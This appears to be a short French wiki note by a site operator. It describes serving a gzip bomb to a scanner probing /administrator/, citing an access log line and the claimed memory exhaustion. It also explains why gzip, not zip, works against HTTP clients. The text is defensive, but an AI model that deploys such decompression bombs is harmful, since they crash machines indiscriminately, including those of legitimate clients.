5.253.84.92 - - [15/Aug/2026:09:29:55 +0200] "GET /administrator/ HTTP/1.1" 200 163895295 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/118.0.2"

Je sais qu'il a téléchargé 163 Mo de mon fichier de 200 Mo, je me dis que ça lui a bouffé aux alentours de 163 Go de RAM sur sa machine et l'a fait ramer avant que le processus soit probablement tué. Même si je n'ai pas bloqué ce connard, je l'ai entravé. MISSION ACCOMPLISHED 🫡

Ce n'est pas du zip !

Certains d'entre vous m'ont suggéré https://www.bamsoftware.com/hacks/zipbomb/

Mais attention : gzip et zip ne sont pas les mêmes formats.

http(s) ne supporte pas le format zip et aucun client http ne décompressera automatiquement un fichier zip qu'on lui envoie, rendant l'attaque inopérante.

En revanche, les clients http(s) vont nativement décompresser gzip et en mémoire. C'est là que ça fera mal.

zipbomb.txt · Dernière modification : de sebsauvage